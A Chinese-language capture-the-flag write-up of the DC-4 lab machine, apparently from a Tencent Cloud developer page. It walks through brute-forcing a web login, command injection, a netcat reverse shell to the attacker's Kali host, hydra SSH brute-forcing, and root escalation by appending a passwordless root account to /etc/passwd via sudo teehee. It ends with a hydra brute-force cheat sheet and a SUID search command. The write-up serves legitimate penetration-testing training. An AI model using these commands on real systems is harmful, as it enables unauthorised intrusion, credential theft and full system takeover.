一、靶机详情

DC-4 是入门级渗透测试靶机,面向初学者与中级学习者,核心目标是获取 root 权限并拿到唯一 flag,场景聚焦 Linux 权限提升与 Web 命令执行,无预设提示,适合练习基础渗透流程与工具使用。

配置介绍

  • 靶机:192.168.245.148
  • kali:192.168.1.131

二、信息收集

nmap -sV -p- 192.168.245.148

wappalyzer

得知该网站使用的是 nginx1.15.10

三、漏洞搜寻及利用

1.searchsploit 搜索漏洞

根据信息收集到的 nginx 1.15.10 和 openssh7.4 p1 使用 searchsploit 进行搜索

2.账号爆破

没搜到有用的漏洞利用脚本,接下来尝试密码爆破。爆破出用户名为 admin 的密码为 happy.登录进去。

进入 command 之后,随便点击一个发现可以执行系统命令。

抓包查看,是通过 radio 参数来传递命令的。

使用 id 命令查看当前用户权限

3 反弹 shell 建立连接

首先在 kali 中开启端口监听

nc -lvp 5555

执行反弹 shell 命令

nc 192.168.245.131 5555 -e /bin/bash

使用 python 启动交互式终端

python -c "import pty;pty.spawn('/bin/bash')"

搜索信息,发现有 3 个用户,在 jim 用户中发现信息

在 backups 中发现密码文件

4.hydra 爆破 ssh

将该文件中的密码复制出来,使用 hydra 对 ssh 进行爆破

hydra -l jim -P passwords.txt 192.168.245.148 ssh

使用爆破出来的 jim 用户的密码,用 ssh 登录

ssh -p 22 jim@192.168.245.148

打开 mbox 文件

在/var/mail 中发现写给 jim 的邮件,打开发现了 charles 的账号密码

使用 ssh 登录 charles 用户

ssh -p 22 charles@192.168.245.148

5. 提权

看一下有没有 sudo 提权

suod -l

发现可以无密码执行/usr/bin/teehee,teehee命令可以往一个文件追加内容,可以通过它向/etc/passwd写入内容,新增一个超级用户 test

echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

使用 su 切换用户,在/root 下发现 flag。

四、知识总结

1.hydra 使用方法

语法格式:

hydra [可选参数] [目标IP/域名] [协议名称] [爆破参数]

用户/密码相关参数

-l <username>	指定单个用户名(无需字典)	-l admin(爆破 admin 用户)
-L <userlist.txt>	指定用户名字典文件(批量爆破多个用户)	-L /usr/share/wordlists/usernames.txt
-p <password>	指定单个密码(无需字典)	-p 123456(尝试密码 123456)
-P <passlist.txt>	指定密码字典文件(批量爆破多个密码)	-P /usr/share/wordlists/rockyou.txt
-e <opt>	额外爆破选项(辅助提高成功率)	-e ns(n:空密码;s:用户名 = 密码)

运行配置相关参数

-t <num>	指定爆破线程数(默认 16,线程越多速度越快,不宜过高避免被封禁)	-t 32(32 线程运行)
-V / -v	详细模式输出(实时显示爆破过程,推荐使用)	-V(查看每一次尝试的账户 / 密码)
-o <output.txt>	将爆破成功的结果写入指定文件(便于后续查看)	-o hydra_success.txt
-w <sec>	指定超时时间(单位:秒,默认 30 秒,网络差时可调高)	-w 60(超时 60 秒)
-s <port>	指定目标非默认端口(如 SSH 非 22 端口、HTTP 非 80 端口)	-s 2222(爆破 2222 端口的 SSH)

经典案例

ssh 爆破

ssh爆破
# 语法:hydra -l 单个用户名 -P 密码字典 -V 目标IP ssh
hydra -l jim -P pass.txt -V 192.168.1.100 ssh
-----------------------------------------------------
hydra -L usernames.txt -P rockyou.txt -t 20 -V -o ssh_success.txt 192.168.1.100 ssh
#用 usernames.txt 中的所有用户、rockyou.txt 中的所有密码进行批量匹配,20 线程运行,成功结果写入 ssh_success.txt。

FTP 爆破

# 单用户+密码字典爆破
hydra -l ftpuser -P rockyou.txt -V 192.168.1.100 ftp

# 尝试匿名登录(利用 -e 选项)
hydra -l anonymous -P "" -e n -V 192.168.1.100 ftp

MYSQL 爆破

hydra -l root -P rockyou.txt -t 10 -V 192.168.1.100 mysql

2.sudo 提权

(1)sudo -l

sudo -l:查看当前登录用户被授予的 sudo 权限

(2)find / -perm -u=s -type f 2>/dev/null

在整个 Linux 系统中,查找所有带有 SUID(Set User ID)特殊权限的普通文件,这类文件允许普通用户以「该文件所有者(通常是 root)」的身份执行该文件,若找到可利用的 SUID 文件(如 findbashnmap 等),即可通过该文件实现权限提升。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐